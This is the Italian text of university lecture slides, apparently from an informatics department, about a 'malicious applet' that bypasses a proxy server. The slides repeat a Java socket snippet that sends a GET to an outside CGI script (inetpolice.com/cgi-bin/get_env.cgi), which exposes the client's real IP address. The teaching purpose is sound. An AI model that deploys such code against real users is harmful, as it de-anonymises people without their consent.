pdf color - Dipartimento di Informatica ed Applicazioni

Bypass Proxy Server
Applet Maliziosa 3
Codice sorgente dell’applet:
Cbase contiene: “http://www.inetpolice.com/cgi-bin”)
Socket socket = new Socket(rhost, 80);
PrintStream printstream = new PrintStream(socket.getOutputStream());
printstream.println("GET " + cbase + cgifile);
in = new DataInputStream(socket.getInputStream());
res = in.readLine();
printstream.close();
socket.close();
Bypass Proxy Server
Applet Maliziosa 3
Codice sorgente dell’applet:
Invia una richiesta di tipo GET,
(“GET http://www.inetpolice.com/cgi-bin/get_env.cgi”)
Socket socket = new Socket(rhost, 80);
PrintStream printstream = new PrintStream(socket.getOutputStream());
printstream.println("GET " + cbase + cgifile);
in = new DataInputStream(socket.getInputStream());
res = in.readLine();
printstream.close();
socket.close();
Bypass Proxy Server
Applet Maliziosa 4
Dopo che l’applet, eseguita dal Client, ha effettuato una
connessione al server di appartenenza, invia una richiesta
di tipo GET al Server
Il server riceve tale richiesta direttamente dal client ed
esegue il file cgi richiesto dal Client
La cgi “get_env.cgi” può facilmente sapere l’indirizzo
reale del client in quanto gli viene fornito dalla richiesta GET
Segue l’invio al client della seguente stringa :
“nome_client [ind_ip_client]”
Bypass Proxy Server
Applet Maliziosa 3
Codice sorgente dell’applet:
Cgifile contiene: “get_env.cgi”)
Socket socket = new Socket(rhost, 80);
PrintStream printstream = new PrintStream(socket.getOutputStream());
printstream.println("GET " + cbase + cgifile);
in = new DataInputStream(socket.getInputStream());
res = in.readLine();
printstream.close();
socket.close();
Bypass Proxy Server
Applet Maliziosa 3
Codice sorgente dell’applet:
RES contiene la stringa inviata
dal Server nel formato:
“nome_client [ind_ip_client]”
Socket socket = new Socket(rhost, 80);
PrintStream printstream = new PrintStream(socket.getOutputStream());
printstream.println("GET " + cbase + cgifile);
in = new DataInputStream(socket.getInputStream());
res = in.readLine();
printstream.close();
socket.close();
Bypass Proxy Server
Applet Maliziosa 5
La stringa che il client riceve la mette nella variabile
res il cui contenuto verrà fatto visualizzare sul browser
del client mediante l’applet in esecuzione
Quando il client effettua la GET, sia il server, che il cgi
“get_env.cgi” vedranno la seguente cosa :
192.168.1.3 - - [13/Jun/2003:18:48:28 +0200]
"GET http://inet-police.com/cgi-bin/get_env.cgi" 200 34
Il server ora conosce il vero IP del client: Bypass Riuscito!